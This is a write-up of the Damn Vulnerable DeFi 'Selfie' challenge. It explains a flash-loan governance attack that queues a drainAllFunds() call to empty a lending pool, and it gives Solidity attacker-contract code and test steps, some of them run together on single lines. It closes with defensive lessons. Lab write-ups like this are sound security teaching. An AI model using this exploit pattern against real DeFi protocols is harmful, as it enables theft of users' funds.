A new cool lending pool has launched! It’s now offering flash loans of DVT tokens. Wow, and it even includes a really fancy governance mechanism to control it. What could go wrong, right? You start with no DVT tokens in balance, and the pool has 1.5 million. Your objective: take them all.
the whole business analyse
SelfiePool:This is a flashloan pool. Not only can we call flashloan() in this contract, but we can also call drainAllFunds() which can be called after passing the modifier onlyGovernance. Analyse the topic, we can learn that we should call drainAllFunds() to pass this level
SimpleGovernance:This is the main contract. It is a governing contract, anyone can call queueAction to put a motion in the execution queue after we have got enough Snaptshot. And then the motions will be executed one by one.
DamnValuableTokenSnapshot:ERC20 token, having the snapshot ability.
flashloan analyse
From the whole business analyse, i have an idea to complete this level: get a lot of money by flashloan => take a snapshot => put our malicious motion to the queue(contain the drainAllFunds() payloan) => Transfer tokens back to pool => wait for 2 days => exectute our motion and steal the money => transfer the money to the attacker wallet
1.we can flashloan a lot of money to take a snapshot so that we can get enough snapShot token, so we can pass this code:
1 2 3 4 5 6 7
require(_hasEnoughVotes(msg.sender), "Not enough votes to propose an action");
2.put our malicious motion to the queue(contain the drainAllFunds() payloan): the queueAction needs a payload as parameter, it completely depends on us. So we can call the drainAllFunds(). Then the governance would call this function to drain all the funds to us while it can pass the modifier onlyGovernance.
1 2 3 4
//create a malicious payload bytes memory data = abi.encodeWithSignature("drainAllFunds(address)", address(this)); // Use tokens to queue a new action governance.queueAction(address(selfiePool), data, 0);
3.Transfer tokens back to pool
1
DVT.transfer(address(selfiePool), _amount);
4.wait for two days
1 2
// Travel through time (2 days) in order to execute the queued action. await ethers.provider.send('evm_increaseTime', [2 * 24 * 60 * 60])
5.exectute our motion and steal the money . transfer the money to the attacker wallet
Once again, like in some of the previous levels, the vulnerability lies inside the contract implementation, that allows any receiver contract to perform a malicious action.
Don’t trust other contracts blindly. Be careful of what you allow your contracts to do on external calls. The implementation of this protocol is vulnerable because it delegates an execution to an unknown external contract, and opens a backdoor for possible attacks.
Besides, since the vast majority of the Governance tokens are stored on a singular address (the SelfiePool contract), and is not well distributed among several accounts/addresses, the protocol has a single point of failure, making the attack easier.
Here’s a good article from the highly reputable blockchain security company OpenZeppelin that should help you learn more about strategies and best practices for safer governance systems.
function attack_flashloan(uint256 borrowAmount) external { require(msg.sender == owner); selfiePool.flashLoan(borrowAmount); }
function receiveTokens(address _token, uint256 _amount) external { // Take snapshot when we receive tokens. // This is for passing the _hasEnoughVotes requirement of this contract when // getting balance aat last snapshopt DVT.snapshot();
bytes memory data = abi.encodeWithSignature("drainAllFunds(address)", address(this));
// Use tokens to queue a new action governance.queueAction(address(selfiePool), data, 0);
// Transfer tokens back to pool DVT.transfer(address(selfiePool), _amount); }
// Make a flash loan. This will take snapshot, queue evil action and transfer DVT back to pool awaitthis.selfieAttackerContract.connect(attacker).attack_flashloan(TOKENS_IN_POOL)
// Travel through time (2 days) in order to execute the queued action. await ethers.provider.send('evm_increaseTime', [2 * 24 * 60 * 60])
// Execute the queued action. This will call the drainAllFunds() function of the pool contract and send them to our evil contract. // Retrieve all DVT from attacker contract to attacker address. awaitthis.selfieAttackerContract.connect(attacker).attack_2daysLater(1)